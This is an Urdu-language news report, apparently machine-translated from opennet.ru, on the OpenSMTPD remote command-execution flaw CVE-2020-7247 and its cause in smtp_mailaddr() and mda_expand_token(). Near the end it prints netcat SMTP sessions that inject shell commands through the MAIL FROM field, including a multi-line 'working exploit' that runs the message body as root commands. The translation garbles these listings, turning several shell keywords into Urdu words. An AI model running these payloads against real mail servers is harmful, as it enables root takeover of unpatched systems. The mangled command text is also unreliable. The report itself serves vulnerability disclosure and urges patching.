اوپن بی ایس ڈی پروجیکٹ کے ذریعہ تیار کردہ میل سرور میں شناخت کیا (CVE-2020-7247)، جو روٹ مراعات کے ساتھ سرور پر شیل کمانڈز کے ریموٹ پر عمل درآمد کی اجازت دیتا ہے۔ Qualys Security (OpenSMTPD کا پچھلا آڈٹ 2015 میں، اور نئی کمزوری مئی 2018 سے موجود ہے)۔ مسئلہ OpenSMTPD 6.6.2 ریلیز میں۔ تمام صارفین کو مشورہ دیا جاتا ہے کہ وہ اپ ڈیٹ کو فوری طور پر انسٹال کریں (اوپن بی ایس ڈی کے لیے، پیچ کو syspatch کے ذریعے انسٹال کیا جا سکتا ہے)۔
حملے کی دو قسمیں تجویز کی گئی ہیں۔ پہلا ویرینٹ ڈیفالٹ OpenSMTPD کنفیگریشن کے ساتھ کام کرتا ہے (صرف لوکل ہوسٹ سے درخواستیں وصول کرنا) اور مقامی استحصال کی اجازت دیتا ہے جب حملہ آور کو سرور پر مقامی نیٹ ورک انٹرفیس (لوپ بیک) تک رسائی حاصل ہو (مثال کے طور پر، ہوسٹنگ سسٹمز پر)۔ دوسری قسم اس وقت ہوتی ہے جب اوپن ایس ایم ٹی پی ڈی کو بیرونی نیٹ ورک کی درخواستیں وصول کرنے کے لیے ترتیب دیا جاتا ہے (ایک میل سرور جو تیسرے فریق کے میل کو قبول کرتا ہے)۔ محققین نے ایک پروٹو ٹائپ ایکسپلائٹ تیار کیا ہے جو اوپن بی ایس ڈی 6.6 کے ساتھ شامل اوپن ایس ایم ٹی پی ڈی ویرینٹ اور دوسرے آپریٹنگ سسٹمز کے پورٹیبل ورژن دونوں کے ساتھ کامیابی کے ساتھ کام کرتا ہے۔ Debian ٹیسٹنگ)۔
یہ مسئلہ smtp_mailaddr() فنکشن میں خرابی کی وجہ سے ہے، جسے "میل سے" اور "RCPT ٹو" فیلڈز میں اقدار کی توثیق کرنے کے لیے کہا جاتا ہے، جو بھیجنے والے/وصول کنندہ کی وضاحت کرتے ہیں اور میل سرور سے کنکشن کے دوران منتقل ہوتے ہیں۔ ای میل ایڈریس کے اس حصے کی توثیق کرنے کے لیے جو "@" علامت سے پہلے آتا ہے، smtp_mailaddr() فنکشن کو کال کرتا ہے۔
valid_localpart()، جو کہ "!#$%&'*/?^`{|}~+-=_" حروف کو درست مانتا ہے (MAILADDR_ALLOWED)، جیسا کہ RFC 5322 کی ضرورت ہے۔
اس صورت میں، ڈائریکٹ سٹرنگ ایسکیپنگ mda_expand_token() فنکشن میں کی جاتی ہے، جو صرف حروف کی جگہ لے لیتا ہے "!#$%&'*?`{|}~" (MAILADDR_ESCAPE)۔ اس کے بعد، mda_expand_token() میں تیار کردہ اسٹرنگ کو 'execle(«/bin/sh», «/bin/sh», «-c», mda_command,…' کمانڈ کا استعمال کرتے ہوئے ڈیلیوری ایجنٹ (MDA) کو کال کرتے وقت استعمال کیا جاتا ہے۔ %%{user.username}" چلایا جاتا ہے، جہاں "%{mbox.from}" کی قدر میں "MAIL FROM" پیرامیٹر سے فرار شدہ ڈیٹا شامل ہوتا ہے۔
کمزوری smtp_mailaddr() میں ایک منطقی خرابی میں ہے، جس کی وجہ سے فنکشن ایک کامیاب تصدیقی کوڈ واپس کرنے کا سبب بنتا ہے جب ای میل میں ایک خالی ڈومین پاس کیا جاتا ہے، چاہے "@" سے پہلے والے پتے کے حصے میں غلط حروف ہوں۔ سٹرنگ تیار کرتے وقت، mda_expand_token() فنکشن صرف ان حروف سے بچ جاتا ہے جن کی ای میل ایڈریس میں اجازت دی جاتی ہے، تمام ممکنہ شیل اسپیشل کریکٹرز نہیں۔ لہذا، اپنی کمانڈ کو چلانے کے لیے، آپ کو صرف "؛" استعمال کرنے کی ضرورت ہے۔ کریکٹر اور ای میل کے مقامی حصے میں ایک جگہ، جو MAILADDR_ESCAPE سیٹ میں شامل نہیں ہیں اور فرار نہیں ہیں۔ مثال کے طور پر:
$nc 127.0.0.1 25
ہیلو پروفیسر۔ فالکن
میل سے:<;sleep 66;>
RCPT TO:
اعداد و شمار
.
QUIT
اس سیشن کے بعد، اوپن ایس ایم ٹی پی ڈی ایم باکس کو ڈیلیور کرتے وقت کمانڈ کو شیل کے ذریعے چلائے گا۔
/usr/libexec/mail.local -f؛ نیند 66؛ جڑ
حملے کی سطح اس حقیقت سے محدود ہے کہ پتہ کا مقامی حصہ 64 حروف سے زیادہ نہیں ہو سکتا، اور خصوصی حروف '$' اور '|' فرار ہونے کے دوران ":" سے بدل دیا جاتا ہے۔ اس حد کو نظرانداز کرنے کے لیے، /usr/libexec/mail.local شروع ہونے کے بعد ای میل کی باڈی ان پٹ اسٹریم سے گزر جاتی ہے۔ اس کا مطلب یہ ہے کہ ایڈریس کو جوڑ کر، صرف sh کمانڈ انٹرپریٹر لانچ کیا جا سکتا ہے اور ای میل باڈی کو ہدایات کے سیٹ کے طور پر استعمال کیا جا سکتا ہے۔ چونکہ سروس SMTP ہیڈر ای میل کے شروع میں بتائے گئے ہیں، اس لیے ان کو چھوڑنے کے لیے ایک لوپڈ ریڈ کمانڈ تجویز کی گئی ہے۔ کام کرنے کا استحصال کچھ اس طرح نظر آتا ہے:
$nc 192.168.56.143 25
ہیلو پروفیسر۔ فالکن
میل سے:<;میں 0 1 2 3 4 5 6 7 8 9 abcd میں؛ r;done;sh;exit 0;> پڑھیں
RCPT TO:
اعداد و شمار
#0
#1
...
#d
WOPR میں میرے لیے؛ کرو
echo -n "($i) " && id || توڑنا
ہو گیا > /root/x."`id -u`.""$$"
.
QUIT
ماخذ: opennet.ru
